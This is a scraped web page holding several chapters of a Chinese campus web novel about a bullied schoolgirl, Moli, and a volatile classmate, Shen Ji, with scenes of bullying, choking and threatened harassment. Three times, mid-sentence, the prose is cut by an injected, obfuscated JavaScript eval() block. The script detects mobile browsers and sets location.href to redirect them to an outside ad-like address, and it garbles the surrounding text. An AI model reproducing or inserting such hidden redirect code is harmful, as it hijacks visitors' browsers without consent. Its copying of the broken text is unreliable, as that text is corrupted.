“去买四杯奶茶,原味、草莓、巧克力和哈密瓜,都要大杯。”何婧坐在台阶上,长腿一晃一晃的。 “奶茶?”茉莉没喝过,也没逛过这附近。 “土包。”何婧嫌弃地瞥了她一眼,“去小超市,出校往右边走,过两个路口再左拐。” “知道了,还有吗?”怕何婧故意为难自己跑几趟,她又确认了一遍。 何婧又加了一句:“找回的钱全都给我换成零钱,我坐车用呢。” 何婧家住在镇上,每次上学都得坐公车。 茉莉点点头,揣着钱包走出了学校。 按照何婧给的路线走,她越发觉得不对劲起来。 直到站在小超市的招牌下,她才明白何婧的别有用心。 长乐小超市。宋长乐家的超市。 很明显的,想要她难堪。 她想去别的地方看看有没有卖奶茶的,但她对这里不熟悉,如果迟了坏掉何婧送奶茶的好事,指不准会怎么刁难。 纠结之下,她还是推门走了进去。 清脆的门铃声摇响,坐在柜台里写作业的宋长乐掀了掀眼皮,与进门的茉莉视线交汇。 攥笔的手突然收紧,她脸色难看地埋下头,故作无视。 柜台上摆了一行颜色不一的奶茶粉,茉莉掏出钱包放在玻璃上,声音细弱:“四杯奶茶,大杯,原味、草莓、巧克力、哈密瓜。找钱换成零钱。” 宋长乐没动,依然写着作业。 “……”无奈,她叩了叩玻璃台,加大音量复述了一遍,“四杯奶茶,大杯,找钱换成零钱。” 屋里传来女声:“长乐啊,我都听见有客了,你在外面不?” 母亲都听到了,这下宋长乐没法装聋作哑,只能放下笔应了一声,起身拿塑料杯开始冲泡奶茶。 泡粉在空中反射出闪闪零碎的光,廉价的香气充斥着不大的超市。 茉莉悄悄看着宋长乐的身影,一眼都舍不得离开。 四杯奶茶被打包成了两袋子,钱包被宋长乐拿走。 拉链声响起,宋长乐看了眼里面的钱,一巴掌把钱包拍在了柜台上:“什么意思,来找茬?” “什么?”茉莉发懵,她没打开过钱包,不知道里面多少钱。 宋长乐把里面的钱倒了出来,映入眼帘的,是三枚硬币和一张面额五十的纸币。 “四杯奶茶四块钱,你拿三块零钱和张五十的,剩下还都要零钱?不是找茬是什么,不卖了!”宋长乐作势要把奶茶收回,没有办法,茉莉只能摁住了她伸出的手。 “别碰我。”宋长乐嫌恶地抽开了手,顺而往身上擦了擦,似是沾了什么脏东西一样。 反应让茉莉的心脏一缩,痛苦的无以言加。她收回手,摸出了四枚硬币:“那当我来换钱的,我把奶茶钱付了。” “你当我免费劳动力吗?四块钱的东西给你数五十个硬币?” 知道这样的要求过分,茉莉没有别的法子,只能把自己的钱包放了上去:“这里面有十块钱,当作换钱的辛苦费,如果你觉得麻烦,我可以当着你的面自己数。” 十块是茉莉一周的午餐钱,宋长乐知道。 她冷眼望着茉莉,脸色越发阴沉。 砰—— 她搬出藏在桌下的零钱罐往桌上一摔,整个柜台和零钱都震了一震,连带着茉莉都闭上了眼。 “谁跟你一样廉价,把你的破钱收走。”说罢,她坐回了位置上,拿笔继续写作业。 她想重新集中注意力的,可耳边一声一声钱币的碰撞声扰的她根本无法投入,反而心都乱成了一团麻线,本简简单单的题目也没了头绪。 “你非要那么大声?”她不耐烦地用笔敲了敲柜台。 柜台外的少女吓了一跳,愧色难掩地看着她:“对不起吵到你了,但我想你没看着我数钱,怕你不放心,所以弄大点声让你听见。” 柜台内的少女定定地看着,片刻,她转开了视线,语气依旧不耐:“你要是有心偷钱,就算我盯着你也会耍滑头。所以搞快点走,真的吵死了。” 意识到打扰了宋长乐,茉莉只能加快速度数钱。数完五十个硬币,却塞不下那小小的红色钱包。 没办法,她只能将剩余的硬币塞进了口袋。 拎着奶茶,她推开了离去的门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183560|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “谢谢。” 留下一句莫名其妙的感谢,茉莉就彻底离开了。 而干净的纸面上,不知何时已经被笔墨浸湿穿透,糊住了下一页。 回去的路上,因为担心奶茶杯破裂,茉莉没有跑太快。 护着奶茶跑到了何婧所在的石阶,她气喘吁吁地把奶茶递了过去:“给你,还有零钱……” 她一手拎着奶茶,另一手掏着口袋捧着硬币,但硬币太多,还弄掉了几个,她手忙脚乱地捡着钱,一杯奶茶也不甚从袋里滚出,掉在了地上。 她赶紧起身去追奶茶,却感觉到脚下一绊—— 脆弱的包装碎裂开,褐色的奶茶液炸在身上,染脏了白色的校服。 “怎么先喝上奶茶了啊,别喝地上的,快起来。” 是跟在何婧身边的另一个女生,她弯着腰,语调古怪。 动静不大,但还是引起了操场边一些人的注意。 “诶,那边有人摔了。” “别去别去,是那个经血流一身的女生。” “是她吗,咦~身上是什么啊……” “好脏啊……这么远感觉都有味……” 何婧坐在高高的位置,吃着饼干,佯作关心:“哎呀,快扶起来,给别人看到还以为是欺负她呢。” 世界好像静止了一般。奶茶液顺着鬓发滴落,过量的香精和色素甜腻的融化在身下,黏连着衣服和皮肤。 她爬起身,液体顺着她的手臂流到擦破的手肘,一阵阵的刺痛。 分明是甜的,怎么还像伤口撒盐呢? 她一遍遍地想,怎么也想不通。 这次她没有哭,她自己都觉得奇怪。 咚—— “啊!” 随着一声沉闷的撞击,一颗篮球弹跳着滚到了身边。 “何婧!没事吧!” “谁啊,球都打出场外了!” 两个女生立马围住何婧,怒气冲冲地瞪向球场。 “抱歉!”有人从球场跑来,两步并做一步跨上了台阶,语气里充满了真诚和歉意,“是我不小心脱手了,谁被打到了?” 看到来者,两个女生对视一眼,悄悄腾开了位置。 何婧捂着红肿的脸气不打一处来,正要发作,抬眼看到少年,恶毒的语言全塞回了肚子,取而代之的是做作的委屈。 她刻意地眨着水眸:“没关系,坐在球场边难免的。” 最虚假的人扎堆了。 茉莉听着,擦了擦脸,想从地上爬起来。 做不到,因为双膝被粗粝的水泥地擦伤,拖着长长的尾划到了小腿,伤口血淋淋地混杂着灰黑的尘土,甚至有颗石子都嵌进了血肉。 但是,她不想再丢掉尊严了。 即使爬着,她也要离开这里。 “沈悸!人怎么样?我这正好有冰袋。”另一个男生闻声赶来,手里捏着冰袋,“诶,还砸到谁的奶茶了吗?” 沈悸颔首,视线挪移至下方那滩暗色的痕迹。 篮球在那,人不见了。 他随手接过冰袋—— 重重地,几近是粗暴地摁在了何婧的脸上。 口鼻都被寒气侵袭,窒息感扑面而来。 何婧不停挣扎,冰袋脱手掉在了她的身上。她瞳孔微震,骇然地看着那少年。 “啊……抱歉。”他蹙眉,嘴上说着道歉,却感受不到一丝歉意。 他逆着光,无光的眸中凝聚着与他形象不符的森寒。 又深又浓,甚至,还有一丝若有若无的杀意。 何婧从未见过这样的沈悸,吓呆在了原地。 不过只是一瞬间,沈悸又恢复成了原来的模样,对那个男生说:“你看着何婧,不行送诊所。” “哦……你去哪啊?” 沈悸脚步没停。 “玩具丢了。” 8. 包扎 茉莉扶着墙,一点点地挪动已经发麻的双腿。 她颤颤巍巍地走着,短短出校的距离走了将近五分钟。 出了校,她转进一个无人的拐角 她拿出水杯,沾湿纸巾,一点点地擦拭自己。 她不能让父亲看到这样的自己。 身上可以说是不甚摔倒导致的,可委屈和疼却无法用借口掩盖。 她觉得眼睛胀痛的很,但眼泪一点都出不来。 她把纸巾卷成团,泄愤似地砸向了对面的墙。 不痛不痒,像她那些所谓的抵抗。 她转身要走,一只胳膊挡在眼前,阻截了她的去路。 “你是来看笑话的吗?”她淡漠出声。 她没抬眼,沈悸也没说话。 沈悸兀自把斜挎的包丢在地上:“坐下。” 那矮了一头的人影没动,他摁上那双瘦弱的肩,强硬地让少女坐下。 看着面前人从口袋里拿出消毒用品和绷带,茉莉讥讽地笑了:“演的什么戏码,这里可没人。” “闭嘴。”沈悸蹲在茉莉跟前,用力地捏住她的脚踝,“还想要这双腿的话就老实点。” 脚踝很细,盈盈一握来形容不足为过。他想到之前在臭巷,少女的手腕半只手就能握住。 茉莉继续笑:“不要就不要了,利用何婧欺压我;逼我跟朋友断绝关系;让我名声狼藉,这不就是你要的吗?” 裤腿被卷起,干掉的血痂牵连着伤疤被揭开,她却浑然感觉不到痛似地逼近沈悸——一口咬上他的唇角。 一瞬间,浓郁的血腥味蔓延在舌尖,她感到了从所未有的快意。 很快,她被用力推开,沈悸捂着唇角,皱紧了眉:“疯了?” 她不闻不问的再度靠近,沈悸只能将她摁在了墙上。 “你到底在发什么疯?”沈悸压低声音,恼怒地瞪着她。 “你不是要我吻你吗,给你就是了。”茉莉谑笑着,眼底被恨意填满,“还要吗,还是说让我吻谁?” “闭嘴!”少年掐住她的脖颈,眼露阴鸷,“还是要我来让你闭嘴?” “我不!大不了你杀了我,就像那夜你对那个人一样!”她死死盯着他,声音尖锐地刮搔耳膜,“鱼死网破而已。” “拜你所赐,我廉价的谁人可欺,所有人都可以在我头上踩一脚。” “无所谓了。就算照片被公开,也无所谓了。” “不过就是境遇变得更差,或者被开除,看着造成一切的你在高位嘲笑我。” 无所谓的。 可她还是不甘心。 她好不容易上了高中;好不容易交到朋友;好不容易让父亲骄傲。 她还想上大学,想带父亲去大城市,想去看看这世界的风景。 一切都成了泡影。 想着想着,眼泪一滴一滴滑落。 “真奇怪啊……”她努力绷紧嘴角,“明明刚才那么难看都没有要哭的。” 控制不住崩溃了。 “沈悸……毁掉一个人,真的那么有意思吗?” 她不理解,她明明什么都没做错。 “我们明明可以做朋友的……” 话都说不明白了,只剩空洞的眼睛不停流泪。 泪水顺着下颌落进那只缓缓放松的手掌心,烫的少年的心脏一阵翻滚,说不出来的难受。 朋友。 好陌生的词汇。 他放下手,闭眼叹了口气,从口袋里摸出一块手帕,一点点擦干她的眼泪。 “别哭了。” “你再哭,我就彻底不放过你了。” 他离远了些距离,干涩的安慰着。手帕柔软,掠过鼻尖时,带着安心的阳光味道。 少年把手帕塞进她的手里,低头重新抬起茉莉的腿,语气温柔:“涂药,别让你爸爸担心。” 茉莉慢慢冷静下来,不再动弹。少年熟练地用碘伏沾湿棉布,仔细地擦拭茉莉的腿,不时抬眸注意她的反应,没弄疼才继续消毒。 消完毒,他一圈一圈缠上绷带,最后打了个蝴蝶结。 茉莉盯着那漂亮的蝴蝶结发呆,渐渐反应过来刚刚自己在干嘛。 她咬了沈悸? 还把他骂了一顿 她感到一阵摇晃,天都快要塌了。 收起了包扎用品,沈悸退后一步,把校服脱下塞给茉莉,转身背对着她:“校服放包里,上来。” 他等了半晌,没感到背上的重量,于是偏头看了眼,对上一双黑白分明的杏眼。 她的眼睛很好看,清澈明亮,如一汪秋水潋滟,只是平日里怯懦惯了,总是躲闪着,看不分明。 看着看着,竟就这么发了阵懵,连茉莉的疑问都没听见,反应过来时,沈悸感觉到心头挠挠的,耳根都在发烫。 “怎么了?”茉莉怯生生地瞧着他,粉嫩的指尖还捏着那张小手帕。 他暗骂了一声,而后强硬地把少女拉到背上:“把我东西拿好了,掉了就给你扔臭巷。” “哦……”少女讷讷地应了一声,把外套放进他的包里。 一个背上背着两个包,显得更小一只。 轻的要命。 连带着两个包在一起也轻的很,沈悸不禁皱了眉。 “你平时吃饭吗?” “啊?吃啊。” “啧,瘦成一把了。你看看跟柴棍有没有什么区别。” 莫名其妙被攻击身材,茉莉缩在背后嘟囔了一句:“……好凶。” 怕小女孩又掉眼泪,沈悸默了默,缓了语气:“以后吃饭离我桌近点,我盯着你吃。” “……” “讲话。不然给你扔下去。” “哦。” 沈悸的步伐很快,没一会就看见了小泽村的村头。 进村熟人就多了,茉莉头埋得低低的,又引起了对方的调侃:“怎么,现在怕了?早些时候不是还嚷着让我把照片散出去吗?” 茉莉心虚地反驳:“我才不怕。” 实则头又缩了缩,只留个大眼睛在外扑闪扑闪。 她没注意距离,长睫扫过沈悸的后脖,连带着本来平静下来的心重又烧了起来。 操。他忍住冲动,加快了步伐。 只是很快,他戛然止步,顿在了原地。 不远,一个模样婀娜的女人靠在臭巷的转角,手间夹着袅袅燃着的烟。 他迅速转身想要回避,终究是迟了一秒,那女人还是看到了他,红唇讥诮地勾起:“沈悸,去哪啊?” 燥热难捱的心忽的变冷,沈悸背对着那女人,咬牙从齿缝中挤出字句:“不关你事。” 女子呵呵一笑:“怎么不管我事呢。我可是你妈妈,看到你背着小女生问句话怎么了?”她抿了口烟,“终于借你那张小脸谈女朋友了?家庭条件怎么样啊,有没有兄弟姐妹的,独生女咱家可没条件给彩礼哦。” 满腔揶揄,根本不像一个母亲能说出的话。 茉莉好奇地想要回头看,却被沈悸低声呵斥:“别看!” 声音发着颤,这是茉莉闻所未闻的沈悸。 她没再回头,把疑惑藏进了心底,小声道:“把我放下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183561|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 沈悸没放,狠咬着后槽牙往外跑。 身后,那女人依旧旁若无人地喊,丝毫不顾及过路人的视线:“跑什么呀,我还没看见小姑娘长什么样呢。” 声音渐远,之后只剩下沈悸匆匆交错的脚步声。 景色交迭而过,他绕了一圈远路,最后在夕日只剩下个尖顶时把茉莉送到了家。 茉莉的双脚刚挨着地,沈悸就一把抢回了包,表情阴晴不定,甚至,还有一抹看不清的无措。 “别再跟着何婧,上下学跟我一块,她就不会找你的麻烦。”他低着头,最后交代了一句。 茉莉多看了一眼,点点头。 刚走出两步,他像是想到了什么,转身把人拽了回来,不由分说地把茉莉的书包卸下:“把校服外套脱了。” “啊?”头一次听到这样的要求,茉莉发了愣。 “啊什么啊。”沈悸没什么耐心,弹了她个脑瓜崩,“脏成这样你要怎么解释?我给你带走,你家里不是还有一套大码的,明天带给我。” 突然的转变让茉莉很是迷茫,但她还是老实把校服外套脱下。 沈悸把自己的校服外套交换过去,茉莉注意到,他里面依旧穿的是长袖。 因为洑水县偏南,九月底还在二十八度左右徘徊,天气可以说得上是热的,可他却始终穿着长袖,这让茉莉很是不解。 “走了。” 还没等她想一会,沈悸转身走了。 她试着把校服穿在了身上,男生的校服还是太大,没法,她只能抱在了手上。 进家时,茉莉习惯性地看向了鞋柜——熟悉的男鞋不在,茉双季还没回家。 她松了口气,还好,还有空去换件衣服遮盖下伤疤。 回到卧室,她的目光又落在了膝上。 那包扎十分完美,在房间来回走都没有要掉的迹象。她蓦地想到上次于辉脚伤自行处理的绷带,歪七扭八不说,还走两步就散,两者完全不能比较。 好像,是他经常做的事情一般。 - 与此同时,臭巷里一改白日的寂寥变得灯火通明。鲜艳的霓虹灯牌交映闪着,染亮了交错经过的男男女女们。 路边的垃圾堆了又堆,浓烈的气味交杂在狭窄的巷里,或是烟雾缭绕,或是酒气冲天,像是呼应了臭巷的名字。 穿着妖娆的女人们倚门卖笑,贩卖廉价的夜晚,捧着一个又一个男人进屋。 少年视若无睹地蹲在街边,垫着书包一笔一划写作业。 屋内的动静很大,他瞧也没瞧一眼。 一团带着暧昧的烟从边上吹出,吹在了他俊朗分明的侧脸上。 他似是早就习惯一般,毫不搭理女人们的娇笑,起身就走。 “真是江复春那个贱人生的好苗子呢,真漂亮。”女人嗤笑了一声,被少年听了个清清楚楚。 过街的老鼠跟着蟑螂从暗处蹿了出去,少年滞了滞步子,蹲在那老旧的路灯下继续写作业。 路灯下,少年脸上的淤青被照的清晰分明,嘴角被少女咬破的地方还被加上了一层划伤。 写完作业,额间出了一层薄汗,他想找手帕擦一擦,手摸进口袋才想起来今天没找茉莉要回来。 他闭上了眼。开始幻想明天的经历,试图安抚内心的空虚。 可惜烦杂让他没法多想,他拿出手机,银白的外壳上磨损清晰可见,一如此时他的小小缩影。 打开相册,一张张地翻看,心才随着按键的声音慢慢缓和。 是夜。 却是有一个没有归宿的夜。 9. 不妙 第二天清早,茉莉把大码校服塞进了包里。 想到何婧和学校严苛的规定,今天她没再绕远路,走着会经过臭巷的路一路往前,想早点把校服给沈悸。 她不想欠沈悸的人情。 经过包子铺时,茉莉顿了顿脚步。 她伸手指了指笼屉:“肉包两个,豆沙两个。一咸一甜分两个袋子装。” “好勒。”老板中气十足地应了一声,套着塑料袋装了四个包子。 接过包子,她继续往前走。 没两步,她看见了沈悸的身影。 这里没到臭巷的,还有一截距离。沈悸蹲在路边打了个哈欠,睡眼惺忪地伸手,指尖抚弄着一只流浪猫。 她没开口喊他,直接走了过去。 离近了,她看见沈悸脸上多了一道触目惊心的於伤,伸出的包子也停在了半空。 摇摇晃晃着,沾着湿气的塑料袋贴到了沈悸的侧脸。 或许是毫无觉察,沈悸反应很大,反手擒住茉莉的手腕,另一手下意识地摸上了口袋里的利器。 塑料袋掉在地上,浑圆的包子弹了弹,像茉莉急促的心跳。 看到来者,沈悸蹙眉,放开了手,“你来干嘛?” 茉莉的心跳还没缓下来,垂眸道:“送校服。” “到学校不能给?” “……”她默了默,“何婧会看到的。” “那么怕她还跟她一道。拿来。”沈悸伸手。 茉莉老实打开包,把那件校服给他,弯腰把包子捡了起来。 “你的脸……”见到沈悸瞪了她一眼,她只能吞下话,换了个话题,“你吃了吗?” 她把手上没掉的袋子给了出去,“一咸一甜,你要是不喜欢哪个口味可以换给我。” 沈悸转头看她,没拿,换了那个掉了的袋子,随手拿着包子咬上。 甜豆沙溢满口腔,治愈了他整晚的失魂落魄。 “走吧。”他起身,走在了前边。 茉莉跟在身后走,沈悸冷不丁问了一句:“今天的课文背了没?” “背了。” “背给我听。” 茉莉从头到尾背了一遍,“……怎么了?” “背给我听就不用给何婧背了。” 刚想说不用,他却三两口解决完一个包子,朝她说:“把昨天发的测验卷拿出来。” 拿到卷子,他随意一扫,指着后边的大题说:“这题型很容易出现在卷子上,你要是想拿分,最近就多做些这样的题。” “哦……但是从哪找题呢?”身上的钱最近都用来帮何婧跑腿了,她没钱再去买习题册。 沈悸跟看傻子一样看她,“不会找我?” 茉莉一点都不想。 但为了月考,她只能附和。 不过她越想不对,沈悸为什么突然要帮自己? 因为他觉得愧疚?不对,他怎么可能会感觉到愧疚。 他巴不得自己过得人见人嫌。 想了很久,她都没想出个所以然,倒是沈悸,一直在给她讲题。 他讲的很慢很细,本来复杂的答案在他的解答下变得浅显易懂,指尖在纸上圈圈画画,却像是握着一支笔一样把过程摆的清清楚楚。 此时此刻,一高一矮两个身影在清晨还稍显湿润的土路上走着,几乎像忘了隔阂一般越靠越近。 她第一次仔仔细细地看着咫尺之近的沈悸。 他很白,一双狭长的眼睛微微下垂,总有一种似有若无的无辜感。他好像比开学的时候高了一点,总要再低一些才能跟她说上话。 她仰头,看见他额上那条藏匿起来的长疤,而后是脸上的淤青,最后是唇角的伤,不知为何,她如同被蛊惑了一般,鬼迷心窍地抬手,自下而上的抚过他所有的伤疤。 不平的痂崎岖,纹路粗糙的像树皮一样扎手,而扭曲的增生一改粗粝,光滑却又肿厚。 湿漉漉的瞳孔撞进对方怔愣的目光中,她的动作才停住,最后像是反应过来一般,惊慌失措地收回手,嘴里不停道歉:“对不起!” 她匆忙拉开距离,脸颊红彤彤的,不敢再看沈悸。 之后的路程变得沉默,只余下脚步回荡。 到学校门口时,沈悸默不作声地先进班,故作时间差。 茉莉掐着时间,五分钟后进了班级。 上午按部就班地进行,前排的何婧似乎心情不是很好,一整个上午都没找过沈悸。 茉莉不安地坐在位子上,生怕何婧突然找自己麻烦。 怕什么来什么,麻烦虽迟但到。 何婧把上午的课堂笔记全部堆到她的桌上,命令她替自己抄笔记,一边还笑道:“课文背一遍,边抄边背。” 她三心二意地背着,背错了好几个字,何婧用笔盖戳着她的脑门,笑的更灿烂了,“错啦错啦,重背。” “手上不能停哦,你不想吃不上午饭吧?” “——她背给我听过了。” 不知道重背了多少遍,背到嗓子发干,终于有人将她从重复循环的深渊里救了出来。 是沈悸。他抱着一沓作业,透黑的眸子里闪着真诚。 何婧愣住了:“什么时候?” “忘记跟你说了,老师说让我多照顾点成绩较弱的同学,所以在早上你还没来的时候,我就让一些同学背给我听了。”沈悸眨着眼,鸦羽般的长睫在眼下投出一片剪影,“咦,怎么那么多笔记?” 说辞天衣无缝,何婧找不到漏洞,只能忿忿作罢。 她佯作友善地圈住茉莉抄写笔记的手,企图藏住那空白的本子。 “是茉莉课上走神了没抄呢。”她暗捏茉莉的胳膊,逼她和自己口供划一,“对吧茉莉。” 茉莉没讲话,点了点头。 “是么。”沈悸敛下眼眸,“我刚刚扫了一眼,有些地方好像不太完全,可以拿给我看看吗。” 何婧的笑凝在了脸上。 难堪掩饰不住倾数表现在外。 “快呀,马上要上课了。”沈悸还在催促,故意关心。 每一声都像把何婧的面子丢在地上摩擦。 没多久,上课铃打响了。沈悸只能耸肩离开,“没办法了,午休见吧。” 这一句,是留给茉莉听的。 何婧生了一节课的闷气,椅子不停地挤着后边的茉莉,下课时,茉莉被挤得几乎跟墙面贴在一起。 午休时,茉莉照旧看了看宋长乐和于辉两人,他们早和别人打成了一团,每次午休都一群人去食堂。 似乎,已经遗忘了她。 她端着铁盘打完饭,坐在一个无人问津的角落,偷偷窥视着别人的谈笑。 她看到何婧端着饭盘和两杯奶茶朝沈悸贴了过去,笑容天真可爱。 她埋头吃饭,无视四遭。 直到——一道阴影笼罩住了她。 随之,少年的声音响起。她感觉到自己的脑袋被狠狠地搓了搓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183562|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是不是叫你离我近点。”他声音不大,仅仅只有两人能听见,“听不进好赖话是吧。” “平时跟你吃饭的人很多,我不习惯坐在中间。”而且,她真的不想和他再有交集。 只是她不敢说,也说不出口。 搓完了,少女懵懵然地抬头,头顶炸了一片毛,嘴里的饭还没咽下,腮帮子鼓鼓的,话含糊不清。 像一只嗲毛小猫。 一时间看在眼里,料是沈悸也没了脾气,他指指外面,说:“吃完跟我出来。” 这一切被另一人看在了眼里。 有好事者笑嘻嘻的经过,语调讥讽。 “那不是何财主家的千金何婧吗,前几天还在大放厥词说要追到沈悸。” “她可傲了,说一个月追到手的。” “怎么被晾在一边了?果然被甩了?” 听到议论,何婧脸色铁青,转手把饭盘丢进了垃圾桶,拽着还在吃饭的关心就往外走:“走!” 关心惊慌失措地跟何婧出了食堂,而剩下两个女生对视一眼,默契地紧随其后。 何婧什么时候受过这种鸟气。 她发泄了一顿,走出学校,翻出手机噼里啪啦地打字给老师,想下午请假去镇上玩一番。 信息还没打完,边上有人说了话:“美女,问个事。” 她随意瞄了一眼,是个黄毛,流里流气,嘴里叼根烟,她嫌恶地招了招手,“走远点,呛死了。” 黄毛立马把烟踩在地上,掏出自己的手机,“这样可以不,我就问个事儿,这个女的你认识不。” 何婧看了眼,照片显然是偷拍的,脸都有些不清楚,一眼看去只能看到她身上的同款校服。 不过细看一眼,那个女生,是茉莉。 “找她干嘛?” “哎呦,就是找她一下,你要认识可以把她弄出来不?”黄毛挤眉弄眼的,“拜托了,美女。” 何婧狐疑地重新打量了一番,心上涌出了别样的想法。 “好呀。”她巧笑嫣然,“我帮你们找她。” - 沈悸带茉莉到了小天台。 一如昨天,他蹲在面前卷起自己的裤腿,重新消毒、上药、包扎。 处理完伤口,他拿出了一本厚厚的题册,“写完折页的那些题。” 茉莉翻开题册,握着笔认真填写。 她低着头,眉头微微皱着,鬓发被微风吹过,带走了她发丝上浅淡的香味。香味在空气中不断的馥郁,丝丝缕缕地飘过少年的鼻尖,扰乱了本波澜不惊的思绪。 他忍不住伸手——学着早上少女的样子,轻轻将那缕不听话的鬓发把弄在手里,绾在耳后。 “!”茉莉抬起头,看见了沈悸狡黠的眼,和手里不知何时掏出的手机。 他慵懒地眯着眼,嘴角微地一挑,露出那标志性的,恶劣又戏谑的犬齿。 “别拍我!”茉莉立马抬起题册挡住脸,“我很难看的!” “照片不错。”他翻看照片,补了一句,“你一直都……” 话只出了半截,后半句许久都没听见。 她只注意到,沈悸那原本放松的表情须臾间绷紧,直勾勾地盯着远处。 她往那边看去,却是什么也没看到。 很多很年以后,茉莉再想起这句话时,她都会一遍遍地反驳着自己想到的答案。 一定很难看。 如同后来那日,沈悸一样的落魄。 10. 崩塌 很奇怪的,包扎完后,沈悸不见了。 接连着几日,他一直在早退。 离开时,他会留复习资料放在茉莉桌上,其他什么也不说。 茉莉有疑惑,又找不到时间问,只能搁置疑问优先复习。 何婧没怎么找茬,注意到这点后,茉莉尝试找疏远的于辉和宋长乐讲话。 宋长乐话里还带着刺,显然还在在意之前说的那番话,但茉莉觉得,能说得上话就好。 今天,沈悸依旧早退了,这次走的匆匆,连书包都没带。 午休时,她端着饭盘照旧走向自己的小角落,边吃饭边复习。 此时,有人传话说门口有人找。 校门口,是之前在臭巷见过的黄毛。 他自来熟地招招手,茉莉以为他是来找沈悸的,张口说:“沈悸不在。” 黄毛啊了一声,“不在啊。” “有什么事情吗?” “嗯……”黄毛欲言又止,“那你可知道他会去哪?” 黄毛的反应很怪异,又说不上是哪里奇怪。 茉莉不想多纠缠一事,于是婉拒道:“抱歉,我跟他不熟。如果没什么事的话,我就先走了。” 黄毛显然还想说些什么,但茉莉没给他留机会,离开的很快。 回到教室,茉莉看向第一排,空空荡荡,只有一个黑色书包占据。 前面的椅子一摇一晃,水果糖碰撞唇齿的声音变得格外清晰,黑板正上方的时钟滴答滴答地走过,敲打着本就不安的心脏。 她清楚是恶意的蓄谋。 窗外飘起了小雨,好在,茉莉有习惯留一把伞放在桌洞。 她暗自把所有的东西收拾完毕,想着掐准时间直接冲出门。 叮铃铃—— 下课铃响起,茉莉抓起书包就要往外冲。 “对了,有人知道沈悸家住哪吗?”老师问了一声,指向了沈悸的座位,“离得近的可以把沈悸的东西顺路给他送去。” 话一出,何婧挑眉看了她一眼,高高举起手,“老师,茉莉知道,她家离得很近。” 没等茉莉拒绝,老师就说:“好,茉莉给他带回去吧。” 老师带着教案出了门,茉莉埋头要走,却被一只脚拦住,“干嘛呢,带着书包走啊。” 茉莉小声说:“我不知道他住哪。” 何婧嗤笑,说:“扯呢,上次才听他跟你一起走。”她拽着茉莉的衣角,“叫你带回去就去,磨磨唧唧的。” 她被用力推了出去,趔趄着差点摔倒。 默默把那书包背在背上,她埋着头走出教室。 视线内出现了一双鞋,抬眼,是关心。 她举着伞,欲言又止。 茉莉想绕过她走,关心出了声:“……” “——关心。”何婧站在后方,漂亮的眼睛里毫无暖意,“干嘛呢,来给我背包。” 关心脸色苍白,抿着嘴走到了何婧的身边。 那句话茉莉没听清。 撑着伞走在外面,雷光炸响,小雨变成了大雨,打的伞面噼啪作响。 学校外挤了很多人和车,避着走在边缘,却还是会被行人撞过肩膀。 肩上湿了不少,她拍了拍肩,余光瞥到斜前方有一张熟悉的面孔。 是沈悸。 她心下一喜,立马抱着包跑过去:“沈悸!” 那名少年没有搭理她,举着伞看着远处。 茉莉又凑近喊了一声:“沈悸?” 这次少年转了头,只是眼里全是诧异和陌生。 “那个,你的书包……” “抱歉……”他打断了话,上下打量茉莉,语气温谦,“我不是你所说的那位,是找错人了吗?” “啊?”茉莉愣住,重新审视眼前的人,“你在说什么?” “我不是沈悸。”少年笑了笑:“但我也认识他,并且在找他。” 一模一样的眉眼。 不一样的是身上的气质和服饰,和一种无法改变的,叫境遇的东西。 茉莉不懂名牌,但还是一眼能区分那少年穿着的名贵。与沈悸伪装出的温顺不一样,他的谦逊更加舒服自然。 太像了,有种难以言喻的诡异感。 像是一个模子里刻出来的,却又分不清谁是最初的模版。 一辆黑车不知何时停在了面前,少年微笑道:“看来今天找不到了,希望还有机会见到你。” 他打开车门钻了进去,隔着玻璃对茉莉招了招手。 车驶远了,茉莉呆呆地站着,久久没有回神。 回神时,路上已经少了许多人。 她思绪重重地往小泽村走,脑海里总浮现那少年的模样。 很快要走到臭巷,雨水从堵塞的下水道倒灌而出,浑黄而腥臭,还有些不知名的块状物。她躲闪不了,只能忍着恶心一点点挪步。 她根本不知道沈悸家住在哪,只能借由之前路过臭巷的记忆一点点摸进去。 臭巷里,许多看起来不正规的门面亮着灯,耳边是不可言说的声音。 茉莉没见过这样的场景,红着脸匆匆跑过。 她想问路,但那些人看起来都不太友善,她不敢问。 走着走着,她看见了黄毛站在路边左右张望,身前还蹲着两个混混。 黄毛正巧看见了她,笑嘻嘻地对她招手:“妹子,这里。” 茉莉嗯了一声,想把包给黄毛后抓紧离开。 但黄毛却没有要接的意思,一臂挎过茉莉的肩,几乎是贴着脸地说:“来来,陪哥几个玩下。” 